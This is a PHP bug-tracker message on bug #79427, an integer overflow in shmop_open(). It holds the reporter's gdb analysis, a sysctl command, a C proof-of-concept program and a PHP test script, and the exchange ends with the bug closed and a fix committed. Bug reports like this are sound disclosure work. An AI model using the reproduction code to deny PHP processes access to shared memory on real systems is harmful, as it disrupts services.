Bug #79427 [Asn->Csd]: Integer Overflow in shmop_open()

From: Date: Mon, 30 Mar 2020 06:59:48 +0000
Subject: Bug #79427 [Asn->Csd]: Integer Overflow in shmop_open()
References: 1  Groups: php.bugs 
Request: Send a blank email to php-bugs+get-226332@lists.php.net to get a copy of this message
Edit report at https://bugs.php.net/bug.php?id=79427&edit=1 ID: 79427 Updated by: cmb@php.net Reported by: bigshaq at wearehackerone dot com Summary: Integer Overflow in shmop_open() -Status: Assigned +Status: Closed Type: Bug Package: Program Execution Operating System: Linux PHP Version: All versions Assigned To: cmb Block user comment: N Private report: N New Comment: Automatic comment on behalf of cmbecker69@gmx.de Revision: http://git.php.net/?p=php-src.git;a=commit;h=a681b12820ee1556668087bc7866006ca5329635 Log: Fix #79427: Integer Overflow in shmop_open() Previous Comments: ------------------------------------------------------------------------ [2020-03-29 19:54:58] stas@php.net I don't see how it can be a security issue. ------------------------------------------------------------------------ [2020-03-29 16:41:38] bigshaq at wearehackerone dot com @cmb, In my opinion it's a security bug, but with low-cvss score. It prevents from a high-privileged PHP program to access/"monitor" the SHM of a low-privileged process. Instead of breaking the kernel's SHM permissions, the attacker can use this bug on the PHP layer. It also affects all version of PHP so the it makes the attack surface bigger. ------------------------------------------------------------------------ [2020-03-29 15:03:03] cmb@php.net Doesn't really look like a security issue to me. What do you think, Stas? If it's not, please assign back to me. Anyhow, suggested fix (with ABI compat in mind): <https://gist.github.com/cmb69/89ce5c762751ff069af7c9cf09779df7> ------------------------------------------------------------------------ [2020-03-28 16:01:36] bigshaq at wearehackerone dot com Description: ------------ When running the following PHP code: [PHP_SNIPPET] $shm_id = shmop_open(1337, "c", 0644, 100 ); [/PHP_SNIPPET] It creates an entry in the operating system's SHM with 100 bytes in it and an ID of 1337. BUT if this ID is already taken so it opens the existing one and the `size changes from 100 to the original SHM size. If the original's SHM size is bigger than INT_MAX`, an integer overflow occurs. ## Analysis * 1st+2nd commands: showing the `shm` structure in memory. * 3rd+4th command: demonstrating the differences in the types (`shm->shm_segsz is actually size_t but gdb makes it easier by following the typedef of size_t, so it shows unsigned int`) [GDB_SNIPPET] (gdb) ptype shm type = struct shmid_ds { struct ipc_perm shm_perm; size_t shm_segsz; __time_t shm_atime; long unsigned int __glibc_reserved1; __time_t shm_dtime; long unsigned int __glibc_reserved2; __time_t shm_ctime; long unsigned int __glibc_reserved3; __pid_t shm_cpid; __pid_t shm_lpid; shmatt_t shm_nattch; __syscall_ulong_t __glibc_reserved4; __syscall_ulong_t __glibc_reserved5; } (gdb) p shm $1 = {shm_perm = {__key = 1337, uid = 1000, gid = 1000, cuid = 1000, cgid = 1000, mode = 420, __pad1 = 0, __seq = 9, __pad2 = 0, __glibc_reserved1 = 0, __glibc_reserved2 = 0}, shm_segsz = 2147483652, shm_atime = 1585396834, __glibc_reserved1 = 0, shm_dtime = 1585398415, __glibc_reserved2 = 0, shm_ctime = 1585396778, __glibc_reserved3 = 0, shm_cpid = 12884, shm_lpid = 12897, shm_nattch = 0, __glibc_reserved4 = 0, __glibc_reserved5 = 0} (gdb) ptype shm->shm_segsz type = unsigned int (gdb) ptype shmop->size type = int [/GDB_SNIPPET] as can be seen below, right now, the size is what we init in the PHP code(=100) but an SHM entry with ID 1337 already exists, so the value that the operating system returned is `INT_MAX+5`: [GDB_SNIPPET] (gdb) p shmop->size $2 = 100 (gdb) p shm.shm_segsz $3 = 2147483652 [/GDB_SNIPPET] stepping to the next operation (`shmop->size = shm.shm_segsz; `): [GDB_SNIPPET] (gdb) next (gdb) p shmop->size $4 = -2147483644 [/GDB_SNIPPET] an integer overflow occurs. It happens when `shm_segsz`(part of the kernel's shmid_ds structure) is greater than INT_MAX. Due to this overflow, other functions like `shmop_read() and shmop_write()` can not be called because the structure is malformed with a negative number. It prevents PHP from accessing the OS's shared memory to read/write data and can lead to Denial of Service. ## Steps to re-produce If your shmmax setting is lower than INT_MAX (it depends, some systems has lower number and some bigger by default), you can modify it by running: ``` $ sysctl -w kernel.shmmax=2147483652 ``` And then, create an SHM segment with a size bigger than INT_MAX (this is the malicious process that triggers the integer overflow): [C_LANG_SNIPPET] #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <sys/ipc.h> #include <sys/shm.h> #include <errno.h> #define SHM_SIZE 2147483652 /* INT_MAX+5 */ int main(int argc, char *argv[]) { int shmid; key_t key; char *shm; char *s; key = 1337; shmid = shmget(key, SHM_SIZE, IPC_CREAT | 0644); // planting our overflow in the kernel's shmid_ds structure. if(shmid < 0) { printf("error getting SHM id\n\n"); puts(strerror(errno)); exit(1); } shm = shmat(shmid, NULL, 0); strcpy((char *)shm, "AAAAAAAAAAAAAAAAAAAA"); //example buffer return 0; } [/C_LANG_SNIPPET] * compile & run the above, * to make sure the SHM entry was created, run: [BASH_SNIPPET] shaq@ubuntu:~/Desktop/shm-php$ ipcs -m ------ Shared Memory Segments -------- key shmid owner perms bytes nattch status 0x00000539 327683 shaq 644 2147483652 0 [/BASH_SNIPPET] and then run the PHP Test script (provided below). Because of the negative number that we injected(from the malicious process) into PHP's `shmop->size `, read/write operations will print weird errors like "offset out of range" even if the offset is in range. This will make the content inside the SHM entry "un-touchable" by PHP even if you run the PHP Test script with high privileges. Test script: --------------- <?php $shm_id = shmop_open(1337, "c", 0644, 100 ); echo "opened SHM handle...\n"; echo shmop_write($shm_id, "BBBB", 1) ? "Success" : "Failed"; shmop_close($shm_id); ?> Expected result: ---------------- opened SHM handle... Success Actual result: -------------- opened SHM handle... PHP Warning: shmop_write(): offset out of range in /home/shaq/Desktop/shm-php/poc.php on line 4 Failed ------------------------------------------------------------------------ -- Edit this bug report at https://bugs.php.net/bug.php?id=79427&edit=1

« previous php.bugs (#226332) next »